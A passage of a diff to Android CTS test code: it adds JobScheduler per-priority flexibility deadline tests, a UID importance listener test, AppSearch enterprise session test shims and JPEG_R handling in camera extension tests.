@@ -550,7 +580,8 @@
}
// Increase timeouts to make sure the test doesn't start passing because of transpired time.
- mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_ms", "360000000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=360000000,400=360000000,300=360000000,200=360000000,100=360000000");
satisfySystemWideConstraints(false, false, false);
final int jobIdHigh = FLEXIBLE_JOB_ID;
@@ -604,7 +635,8 @@
*/
public void testTopBypassesFlexibility() throws Exception {
// Increase timeouts to make sure the test doesn't start passing because of transpired time.
- mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadline_ms", "360000000");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=360000000,400=360000000,300=360000000,200=360000000,100=360000000");
satisfySystemWideConstraints(false, false, false);
toggleScreenOn(true);
@@ -893,6 +925,116 @@
kTestEnvironment.awaitExecution(FLEXIBILITY_TIMEOUT_MILLIS));
}
+ /**
+ * Schedule jobs with different priorities, don't satisfy any constraints, then verify only
+ * the job with the shorter fallback deadline runs when no constraints are required.
+ */
+ public void testSeparateFallbackDeadlines() throws Exception {
+ if (!deviceSupportsAllFlexConstraints(
+ CONSTRAINT_BATTERY_NOT_LOW | CONSTRAINT_CHARGING | CONSTRAINT_IDLE)) {
+ Log.d(TAG, "Skipping test since device doesn't support any constraints");
+ return;
+ }
+ mDeviceConfigStateHelper.set("fc_percents_to_drop_flexible_constraints",
+ "500=3|5|7|50"
+ + ",400=3|5|7|50"
+ + ",300=3|5|7|50"
+ + ",200=3|5|7|50"
+ + ",100=3|5|7|50");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=100000,400=100000,300=360000000,200=360000000,100=360000000");
+ final int jobIdHigh = FLEXIBLE_JOB_ID;
+ final int jobIdDefault = FLEXIBLE_JOB_ID + 1;
+ try (TestAppInterface testAppInterface =
+ new TestAppInterface(getContext(), FLEXIBLE_JOB_ID)) {
+ testAppInterface.scheduleJob(Collections.emptyMap(),
+ Map.of(
+ TestJobSchedulerReceiver.EXTRA_JOB_ID_KEY, jobIdHigh,
+ TestJobSchedulerReceiver.EXTRA_PRIORITY, JobInfo.PRIORITY_HIGH
+ )
+ );
+ testAppInterface.scheduleJob(Collections.emptyMap(),
+ Map.of(
+ TestJobSchedulerReceiver.EXTRA_JOB_ID_KEY, jobIdDefault,
+ TestJobSchedulerReceiver.EXTRA_PRIORITY, JobInfo.PRIORITY_DEFAULT
+ )
+ );
+ testAppInterface.assertJobNotReady(jobIdHigh);
+ testAppInterface.assertJobNotReady(jobIdDefault);
+
+ // Wait for the first constraint to drop.
+ assertFalse("Job fired before flexible constraints dropped",
+ testAppInterface.awaitJobStart(jobIdHigh, 3000));
+
+ // Remaining time before all constraints should have dropped.
+ Thread.sleep(5000);
+ testAppInterface.runSatisfiedJob(jobIdHigh);
+ testAppInterface.runSatisfiedJob(jobIdDefault);
+
+ assertTrue(
+ "Job with flexible constraint did not fire when no constraints were required",
+ testAppInterface.awaitJobStart(jobIdHigh, FLEXIBILITY_TIMEOUT_MILLIS));
+ assertFalse(
+ "Job with flexible constraint fired even though constraints were required",
+ testAppInterface.awaitJobStart(jobIdDefault, 2000));
+ }
+ }
+
+ /**
+ * Schedule jobs with different priorities, don't satisfy any constraints, then verify only
+ * the job with the lower percents-to-drop runs when no constraints are required.
+ */
+ public void testSeparatePercentsToDrop() throws Exception {
+ if (!deviceSupportsAllFlexConstraints(
+ CONSTRAINT_BATTERY_NOT_LOW | CONSTRAINT_CHARGING | CONSTRAINT_IDLE)) {
+ Log.d(TAG, "Skipping test since device doesn't support any constraints");
+ return;
+ }
+ mDeviceConfigStateHelper.set("fc_percents_to_drop_flexible_constraints",
+ "500=3|5|7|50"
+ + ",400=3|5|7|50"
+ + ",300=90|92|95|99"
+ + ",200=90|92|95|99"
+ + ",100=90|92|95|99");
+ mDeviceConfigStateHelper.set("fc_fallback_flexibility_deadlines",
+ "500=100000,400=100000,300=100000,200=100000,100=100000");
+ final int jobIdHigh = FLEXIBLE_JOB_ID;
+ final int jobIdDefault = FLEXIBLE_JOB_ID + 1;
+ try (TestAppInterface testAppInterface =
+ new TestAppInterface(getContext(), FLEXIBLE_JOB_ID)) {
+ testAppInterface.scheduleJob(Collections.emptyMap(),
+ Map.of(
+ TestJobSchedulerReceiver.EXTRA_JOB_ID_KEY, jobIdHigh,
+ TestJobSchedulerReceiver.EXTRA_PRIORITY, JobInfo.PRIORITY_HIGH
+ )
+ );
+ testAppInterface.scheduleJob(Collections.emptyMap(),
+ Map.of(
+ TestJobSchedulerReceiver.EXTRA_JOB_ID_KEY, jobIdDefault,
+ TestJobSchedulerReceiver.EXTRA_PRIORITY, JobInfo.PRIORITY_DEFAULT
+ )
+ );
+ testAppInterface.assertJobNotReady(jobIdHigh);
+ testAppInterface.assertJobNotReady(jobIdDefault);
+
+ // Wait for the first constraint to drop.
+ assertFalse("Job fired before flexible constraints dropped",
+ testAppInterface.awaitJobStart(jobIdHigh, 3000));
+
+ // Remaining time before all constraints should have dropped.
+ Thread.sleep(5000);
+ testAppInterface.runSatisfiedJob(jobIdHigh);
+ testAppInterface.runSatisfiedJob(jobIdDefault);
+
+ assertTrue(
+ "Job with flexible constraint did not fire when no constraints were required",
+ testAppInterface.awaitJobStart(jobIdHigh, FLEXIBILITY_TIMEOUT_MILLIS));
+ assertFalse(
+ "Job with flexible constraint fired even though constraints were required",
+ testAppInterface.awaitJobStart(jobIdDefault, 2000));
+ }
+ }
+
private boolean deviceSupportsAllFlexConstraints(int constraints) {
if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_EMBEDDED)) {
return (constraints & SUPPORTED_CONSTRAINTS_EMBEDDED) == constraints;
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 2184e51..8e7852a 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -39,6 +39,7 @@
"android.content.pm.flags-aconfig-java",
"flag-junit",
"com.android.media.flags.bettertogether-aconfig-java",
+ "android.app.flags-aconfig-java",
],
srcs: [
"src/**/*.java",
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index 98b6d82..c4b1bc3 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -49,6 +49,7 @@
import android.os.Build;
import android.os.Bundle;
import android.os.DropBoxManager;
+import android.os.Flags;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.IBinder;
@@ -822,8 +823,15 @@
// Get the memory info from it.
String dump = executeShellCmd("dumpsys activity processes " + STUB_PACKAGE_NAME);
assertNotNull(dump);
- final String lastPss = extractMemString(dump, " lastPss=", ' ');
- final String lastRss = extractMemString(dump, " lastRss=", '\n');
+ String lastPss = null;
+ String lastRss = null;
+ if (!Flags.removeAppProfilerPssCollection()) {
+ lastPss = extractMemString(dump, " lastPss=", ' ');
+ lastRss = extractMemString(dump, " lastRss=", '\n');
+ } else {
+ // lastRss is not the final field in the dump, so the next separator is not a newline.
+ lastRss = extractMemString(dump, " lastRss=", ' ');
+ }
// Revoke the read calendar permission
mInstrumentation.getUiAutomation().revokeRuntimePermission(
@@ -843,8 +851,10 @@
ApplicationExitInfo.REASON_PERMISSION_CHANGE, null, null, now, now2);
// Also verify that we get the expected meminfo
- assertEquals(lastPss, DebugUtils.sizeValueToString(
- info.getPss() * 1024, new StringBuilder()));
+ if (!Flags.removeAppProfilerPssCollection()) {
+ assertEquals(lastPss, DebugUtils.sizeValueToString(
+ info.getPss() * 1024, new StringBuilder()));
+ }
assertEquals(lastRss, DebugUtils.sizeValueToString(
info.getRss() * 1024, new StringBuilder()));
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index ef65170..65adb05 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -52,11 +52,13 @@
import android.app.Activity;
import android.app.ActivityManager;
+import android.app.ActivityManager.OnUidImportanceListener;
import android.app.ActivityManager.RecentTaskInfo;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.ActivityManager.RunningServiceInfo;
import android.app.ActivityManager.RunningTaskInfo;
import android.app.ActivityOptions;
+import android.app.Flags;
import android.app.HomeVisibilityListener;
import android.app.Instrumentation;
import android.app.Instrumentation.ActivityMonitor;
@@ -104,6 +106,7 @@
import android.os.UserManager;
import android.permission.cts.PermissionUtils;
import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresFlagsEnabled;
import android.platform.test.annotations.RestrictedBuildTest;
import android.provider.DeviceConfig;
import android.provider.Settings;
@@ -2366,6 +2369,84 @@
}
}
+ @RequiresFlagsEnabled(Flags.FLAG_UID_IMPORTANCE_LISTENER_FOR_UIDS)
+ @Test
+ public void testAddOnUidImportanceListener() throws Exception {
+ final ApplicationInfo ai1 = mTargetContext.getPackageManager()
+ .getApplicationInfo(PACKAGE_NAME_APP1, 0);
+ final ApplicationInfo ai2 = mTargetContext.getPackageManager()
+ .getApplicationInfo(PACKAGE_NAME_APP2, 0);
+ final CountDownLatch[] latchHolder = new CountDownLatch[1];
+ final int[] expectedUidHolder = new int[1];
+ final OnUidImportanceListener listener = new OnUidImportanceListener() {
+ @Override
+ public void onUidImportance(int uid, int importance) {
+ if (uid == expectedUidHolder[0]) {
+ latchHolder[0].countDown();
+ }
+ }
+ };
+ try {
+ // Make sure we could start activity from background
+ runShellCommand(mInstrumentation,
+ "cmd deviceidle whitelist +" + PACKAGE_NAME_APP1);
+
+ // If we didn't specify the target UID, we should be able to listen on all UID events.
+ mActivityManager.addOnUidImportanceListener(listener,
+ RunningAppProcessInfo.IMPORTANCE_FOREGROUND);
+
+ latchHolder[0] = new CountDownLatch(1);
+ expectedUidHolder[0] = ai1.uid;
+ CommandReceiver.sendCommand(mTargetContext,
+ CommandReceiver.COMMAND_START_ACTIVITY,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+ assertTrue("Failed to receive the UID importance changes",
+ latchHolder[0].await(WAITFOR_MSEC, TimeUnit.MILLISECONDS));
+
+ latchHolder[0] = new CountDownLatch(1);
+ expectedUidHolder[0] = ai2.uid;
+ CommandReceiver.sendCommand(mTargetContext,
+ CommandReceiver.COMMAND_START_ACTIVITY,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+ assertTrue("Failed to receive the UID importance changes",
+ latchHolder[0].await(WAITFOR_MSEC, TimeUnit.MILLISECONDS));
+
+ launchHome();
+ mActivityManager.removeOnUidImportanceListener(listener);
+
+ // Listen on the APP1's UID importance changes only.
+ mActivityManager.addOnUidImportanceListener(listener,
+ RunningAppProcessInfo.IMPORTANCE_FOREGROUND, new int[] {ai1.uid});
+
+ latchHolder[0] = new CountDownLatch(1);
+ expectedUidHolder[0] = ai1.uid;
+ CommandReceiver.sendCommand(mTargetContext,
+ CommandReceiver.COMMAND_START_ACTIVITY,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+ assertTrue("Failed to receive the UID importance changes",
+ latchHolder[0].await(WAITFOR_MSEC, TimeUnit.MILLISECONDS));
+
+ latchHolder[0] = new CountDownLatch(1);
+ expectedUidHolder[0] = ai2.uid;
+ CommandReceiver.sendCommand(mTargetContext,
+ CommandReceiver.COMMAND_START_ACTIVITY,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+ assertFalse("It should not receive the UID importance changes",
+ latchHolder[0].await(WAITFOR_MSEC, TimeUnit.MILLISECONDS));
+ } finally {
+ runShellCommand(mInstrumentation,
+ "cmd deviceidle whitelist -" + PACKAGE_NAME_APP1);
+
+ mActivityManager.removeOnUidImportanceListener(listener);
+
+ runWithShellPermissionIdentity(() -> {
+ // force stop test package, where the whole test process group will be killed.
+ mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+ mActivityManager.forceStopPackage(PACKAGE_NAME_APP2);
+ });
+ }
+ }
+
private boolean switchUser(int userId, boolean waitForSwitchToComplete) throws IOException {
StringBuilder userSwitchCommand = new StringBuilder("am switch-user ");
if (waitForSwitchToComplete) {
diff --git a/tests/app/src/android/app/cts/ForceStopTest.java b/tests/app/src/android/app/cts/ForceStopTest.java
index 5e81da5..9a3532f 100644
--- a/tests/app/src/android/app/cts/ForceStopTest.java
+++ b/tests/app/src/android/app/cts/ForceStopTest.java
@@ -53,7 +53,6 @@
import com.android.compatibility.common.util.AmUtils;
import org.junit.Before;
-import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -220,7 +219,6 @@
@Test
@RequiresFlagsEnabled(FLAG_STAY_STOPPED)
- @Ignore("Re-enable once b/317158659 is fixed")
public void testBootCompletedBroadcasts_activity() throws Exception {
final Intent intent = createSimpleActivityIntent();
@@ -267,7 +265,6 @@
@Test
@RequiresFlagsEnabled(FLAG_STAY_STOPPED)
- @Ignore("Re-enable once b/317158659 is fixed")
public void testBootCompletedBroadcasts_broadcast() throws Exception {
final ConditionVariable gotLockedBoot = new ConditionVariable();
final ConditionVariable gotBoot = new ConditionVariable();
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/EnterpriseGlobalSearchSessionShimImpl.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/EnterpriseGlobalSearchSessionShimImpl.java
new file mode 100644
index 0000000..302d81b
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/EnterpriseGlobalSearchSessionShimImpl.java
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.EnterpriseGlobalSearchSession;
+import android.app.appsearch.EnterpriseGlobalSearchSessionShim;
+import android.app.appsearch.Features;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByDocumentIdRequest;
+import android.app.appsearch.GetSchemaResponse;
+import android.app.appsearch.SearchResults;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.SettableFuture;
+
+import java.util.Objects;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+/**
+ * This test class adapts the AppSearch Framework API to ListenableFuture, so it can be tested via a
+ * consistent interface.
+ *
+ * @hide
+ */
+public class EnterpriseGlobalSearchSessionShimImpl implements EnterpriseGlobalSearchSessionShim {
+ private final EnterpriseGlobalSearchSession mEnterpriseGlobalSearchSession;
+ private final ExecutorService mExecutor;
+
+ /** Create an EnterpriseGlobalSearchSession with the application context. */
+ @NonNull
+ public static ListenableFuture<EnterpriseGlobalSearchSessionShim>
+ createEnterpriseGlobalSearchSessionAsync() {
+ return createEnterpriseGlobalSearchSessionAsync(
+ ApplicationProvider.getApplicationContext());
+ }
+
+ /** Only for use when called from a non-instrumented context. */
+ @NonNull
+ public static ListenableFuture<EnterpriseGlobalSearchSessionShim>
+ createEnterpriseGlobalSearchSessionAsync(@NonNull Context context) {
+ AppSearchManager appSearchManager = context.getSystemService(AppSearchManager.class);
+ SettableFuture<AppSearchResult<EnterpriseGlobalSearchSession>> future = SettableFuture
+ .create();
+ ExecutorService executor = Executors.newCachedThreadPool();
+ appSearchManager.createEnterpriseGlobalSearchSession(executor, future::set);
+ return Futures.transformAsync(
+ future,
+ instance -> {
+ if (!instance.isSuccess()) {
+ return Futures.immediateFailedFuture(
+ new AppSearchException(instance.getResultCode(),
+ instance.getErrorMessage()));
+ }
+ return Futures.immediateFuture(
+ new EnterpriseGlobalSearchSessionShimImpl(instance.getResultValue(),
+ executor));
+ },
+ executor);
+ }
+
+ private EnterpriseGlobalSearchSessionShimImpl(
+ @NonNull EnterpriseGlobalSearchSession session, @NonNull ExecutorService executor) {
+ mEnterpriseGlobalSearchSession = Objects.requireNonNull(session);
+ mExecutor = Objects.requireNonNull(executor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<AppSearchBatchResult<String, GenericDocument>> getByDocumentIdAsync(
+ @NonNull String packageName,
+ @NonNull String databaseName,
+ @NonNull GetByDocumentIdRequest request) {
+ SettableFuture<AppSearchBatchResult<String, GenericDocument>> future =
+ SettableFuture.create();
+ mEnterpriseGlobalSearchSession.getByDocumentId(
+ packageName, databaseName, request, mExecutor,
+ new BatchResultCallbackAdapter<>(future));
+ return future;
+ }
+
+ @NonNull
+ @Override
+ public SearchResultsShim search(
+ @NonNull String queryExpression, @NonNull SearchSpec searchSpec) {
+ SearchResults searchResults = mEnterpriseGlobalSearchSession.search(queryExpression,
+ searchSpec);
+ return new SearchResultsShimImpl(searchResults, mExecutor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<GetSchemaResponse> getSchemaAsync(
+ @NonNull String packageName, @NonNull String databaseName) {
+ SettableFuture<AppSearchResult<GetSchemaResponse>> future = SettableFuture.create();
+ mEnterpriseGlobalSearchSession.getSchema(packageName, databaseName, mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @NonNull
+ @Override
+ public Features getFeatures() {
+ return new MainlineFeaturesImpl();
+ }
+
+ private <T> ListenableFuture<T> transformResult(
+ @NonNull AppSearchResult<T> result) throws AppSearchException {
+ if (!result.isSuccess()) {
+ throw new AppSearchException(result.getResultCode(), result.getErrorMessage());
+ }
+ return Futures.immediateFuture(result.getResultValue());
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/TestContactsIndexerConfig.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/TestContactsIndexerConfig.java
new file mode 100644
index 0000000..ade29f8
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/TestContactsIndexerConfig.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import com.android.server.appsearch.contactsindexer.ContactsIndexerConfig;
+
+/**
+ * Contacts Indexer configuration for testing.
+ *
+ * <p>It simply returns default values.
+ */
+public class TestContactsIndexerConfig implements ContactsIndexerConfig {
+ @Override
+ public boolean isContactsIndexerEnabled() {
+ return DEFAULT_CONTACTS_INDEXER_ENABLED;
+ }
+
+ @Override
+ public int getContactsFirstRunIndexingLimit() {
+ return DEFAULT_CONTACTS_FIRST_RUN_INDEXING_LIMIT;
+ }
+
+ @Override
+ public long getContactsFullUpdateIntervalMillis() {
+ return DEFAULT_CONTACTS_FULL_UPDATE_INTERVAL_MILLIS;
+ }
+
+ @Override
+ public int getContactsFullUpdateLimit() {
+ return DEFAULT_CONTACTS_FULL_UPDATE_INDEXING_LIMIT;
+ }
+
+ @Override
+ public int getContactsDeltaUpdateLimit() {
+ return DEFAULT_CONTACTS_DELTA_UPDATE_INDEXING_LIMIT;
+ }
+
+ @Override
+ public boolean shouldIndexFirstMiddleAndLastNames() {
+ return DEFAULT_CONTACTS_INDEX_FIRST_MIDDLE_AND_LAST_NAMES;
+ }
+
+ @Override
+ public boolean shouldKeepUpdatingOnError() {
+ return DEFAULT_CONTACTS_KEEP_UPDATING_ON_ERROR;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/EnterpriseGlobalSearchSessionShim.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/EnterpriseGlobalSearchSessionShim.java
new file mode 100644
index 0000000..2497027
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/EnterpriseGlobalSearchSessionShim.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch;
+
+import android.annotation.NonNull;
+import android.annotation.SuppressLint;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+/**
+ * Provides a connection to all enterprise (work profile) AppSearch databases the querying
+ * application has been granted access to.
+ *
+ * <p>This session can be created from any user profile but will only properly return results when
+ * created from the main profile. If the user is not the main profile or an associated work profile
+ * does not exist, queries will still successfully complete but with empty results.
+ *
+ * <p>Schemas must be explicitly tagged enterprise and may require additional permissions to be
+ * visible from an enterprise session. Retrieved documents may also have certain fields restricted
+ * or modified unlike if they were retrieved directly from {@link GlobalSearchSessionShim} on the
+ * work profile.
+ *
+ * <p>All implementations of this interface must be thread safe.
+ *
+ * @see GlobalSearchSessionShim
+ */
+public interface EnterpriseGlobalSearchSessionShim {
+ /**
+ * Retrieves {@link GenericDocument} documents, belonging to the specified package name and
+ * database name and identified by the namespace and ids in the request, from the {@link
+ * EnterpriseGlobalSearchSessionShim} database. When a call is successful, the result will be
+ * returned in the successes section of the {@link AppSearchBatchResult} object in the callback.
+ * If the package doesn't exist, database doesn't exist, or if the calling package doesn't have
+ * access, these failures will be reflected as {@link AppSearchResult} objects with a
+ * RESULT_NOT_FOUND status code in the failures section of the {@link AppSearchBatchResult}
+ * object.
+ *
+ * @param packageName the name of the package to get from
+ * @param databaseName the name of the database to get from
+ * @param request a request containing a namespace and IDs of the documents to retrieve.
+ */
+ @NonNull
+ ListenableFuture<AppSearchBatchResult<String, GenericDocument>> getByDocumentIdAsync(
+ @NonNull String packageName,
+ @NonNull String databaseName,
+ @NonNull GetByDocumentIdRequest request);
+
+ /**
+ * Retrieves documents from all enterprise (work profile) AppSearch databases that the querying
+ * application has access to.
+ *
+ * <p>Applications can be granted access to documents by specifying {@link
+ * SetSchemaRequest.Builder#setSchemaTypeVisibilityForPackage}, or {@link
+ * SetSchemaRequest.Builder#setDocumentClassVisibilityForPackage} when building a schema.
+ *
+ * <p>Document access can also be granted to system UIs by specifying {@link
+ * SetSchemaRequest.Builder#setSchemaTypeDisplayedBySystem}, or {@link
+ * SetSchemaRequest.Builder#setDocumentClassDisplayedBySystem} when building a schema.
+ *
+ * <p>See {@link AppSearchSessionShim#search} for a detailed explanation on forming a query
+ * string.
+ *
+ * <p>This method is lightweight. The heavy work will be done in {@link
+ * SearchResultsShim#getNextPage}.
+ *
+ * @param queryExpression query string to search.
+ * @param searchSpec spec for setting document filters, adding projection, setting term match
+ * type, etc.
+ * @return a {@link SearchResultsShim} object for retrieved matched documents.
+ */
+ @NonNull
+ SearchResultsShim search(@NonNull String queryExpression, @NonNull SearchSpec searchSpec);
+
+ /**
+ * Retrieves the collection of schemas most recently successfully provided to {@link
+ * AppSearchSessionShim#setSchema} for any types belonging to the requested package and database
+ * that the caller has been granted access to.
+ *
+ * <p>If the requested package/database combination does not exist or the caller has not been
+ * granted access to it, then an empty GetSchemaResponse will be returned.
+ *
+ * @param packageName the package that owns the requested {@link AppSearchSchema} instances.
+ * @param databaseName the database that owns the requested {@link AppSearchSchema} instances.
+ * @return The pending {@link GetSchemaResponse} containing the schemas that the caller has
+ * access to or an empty GetSchemaResponse if the request package and database does not
+ * exist, has not set a schema or contains no schemas that are accessible to the caller.
+ */
+ // This call hits disk; async API prevents us from treating these calls as properties.
+ @SuppressLint("KotlinPropertyAccess")
+ @NonNull
+ ListenableFuture<GetSchemaResponse> getSchemaAsync(
+ @NonNull String packageName, @NonNull String databaseName);
+
+ /**
+ * Returns the {@link Features} to check for the availability of certain features for this
+ * session.
+ */
+ @NonNull
+ Features getFeatures();
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
index 1b59c3b..f4b3550 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
@@ -493,7 +493,8 @@
final int IMAGE_COUNT = 10;
final int SUPPORTED_CAPTURE_OUTPUT_FORMATS[] = {
ImageFormat.YUV_420_888,
- ImageFormat.JPEG
+ ImageFormat.JPEG,
+ ImageFormat.JPEG_R
};
for (String id : getCameraIdsUnderTest()) {
StaticMetadata staticMeta =
@@ -591,7 +592,8 @@
for (int i = 0; i < IMAGE_COUNT; i++) {
int jpegOrientation = (i * 90) % 360; // degrees [0..270]
- if (captureFormat == ImageFormat.JPEG) {
+ if (captureFormat == ImageFormat.JPEG
+ || captureFormat == ImageFormat.JPEG_R) {
captureBuilder.set(CaptureRequest.JPEG_ORIENTATION,
jpegOrientation);
}
@@ -605,24 +607,31 @@
imageListenerPostview
.getImage(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS);
postviewCaptureTimes[i] = SystemClock.elapsedRealtime() - startTimeMs;
- if (captureFormat == ImageFormat.JPEG) {
- verifyJpegOrientation(imgPostview, postviewSize, jpegOrientation);
- } else {
- validateImage(imgPostview, postviewSize.getWidth(),
- postviewSize.getHeight(), captureFormat, null);
+
+ if (captureFormat == ImageFormat.JPEG
+ || captureFormat == ImageFormat.JPEG_R) {
+ verifyJpegOrientation(imgPostview, postviewSize,
+ jpegOrientation);
}
+ validateImage(imgPostview, postviewSize.getWidth(),
+ postviewSize.getHeight(), captureFormat, null);
+
+
Long imgTsPostview = imgPostview.getTimestamp();
imgPostview.close();
Image img =
imageListener.getImage(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS);
captureTimes[i] = SystemClock.elapsedRealtime() - startTimeMs;
- if (captureFormat == ImageFormat.JPEG) {
- verifyJpegOrientation(img, maxSize, jpegOrientation);
- } else {
- validateImage(img, maxSize.getWidth(), maxSize.getHeight(),
- captureFormat, null);
+
+ if (captureFormat == ImageFormat.JPEG
+ || captureFormat == ImageFormat.JPEG_R) {
+ verifyJpegOrientation(img, maxSize,
+ jpegOrientation);
}
+ validateImage(img, maxSize.getWidth(),
+ maxSize.getHeight(), captureFormat, null);
+
Long imgTs = img.getTimestamp();
img.close();
@@ -710,7 +719,8 @@
final int IMAGE_COUNT = 10;
final int SUPPORTED_CAPTURE_OUTPUT_FORMATS[] = {
ImageFormat.YUV_420_888,
- ImageFormat.JPEG
+ ImageFormat.JPEG,
+ ImageFormat.JPEG_R
};
for (String id : getCameraIdsUnderTest()) {
StaticMetadata staticMeta =
@@ -780,7 +790,8 @@
for (int i = 0; i < IMAGE_COUNT; i++) {
int jpegOrientation = (i * 90) % 360; // degrees [0..270]
- if (captureFormat == ImageFormat.JPEG) {
+ if (captureFormat == ImageFormat.JPEG
+ || captureFormat == ImageFormat.JPEG_R) {
captureBuilder.set(CaptureRequest.JPEG_ORIENTATION,
jpegOrientation);
}
@@ -793,12 +804,15 @@
Image img =
imageListener.getImage(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS);
captureTimes[i] = SystemClock.elapsedRealtime() - startTimeMs;
- if (captureFormat == ImageFormat.JPEG) {
- verifyJpegOrientation(img, maxSize, jpegOrientation);
- } else {
- validateImage(img, maxSize.getWidth(), maxSize.getHeight(),
- captureFormat, null);
+
+ if (captureFormat == ImageFormat.JPEG
+ || captureFormat == ImageFormat.JPEG_R) {
+ verifyJpegOrientation(img, maxSize,
+ jpegOrientation);
}
+ validateImage(img, maxSize.getWidth(),
+ maxSize.getHeight(), captureFormat, null);
+
Long imgTs = img.getTimestamp();
img.close();
diff --git a/tests/framework/base/biometrics/Android.bp b/tests/framework/base/biometrics/Android.bp
index 5403db2..02dfe8c 100644
--- a/tests/framework/base/biometrics/Android.bp
+++ b/tests/framework/base/biometrics/Android.bp
@@ -44,6 +44,8 @@
"androidx.test.uiautomator_uiautomator",
"android.hardware.biometrics.flags-aconfig-java",
"flag-junit",
+ "Harrier",
+ "truth",
],
srcs: ["src/**/*.java"],
data: [
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/FaceManagerTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/FaceManagerTests.java
new file mode 100644
index 0000000..37960df
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/FaceManagerTests.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
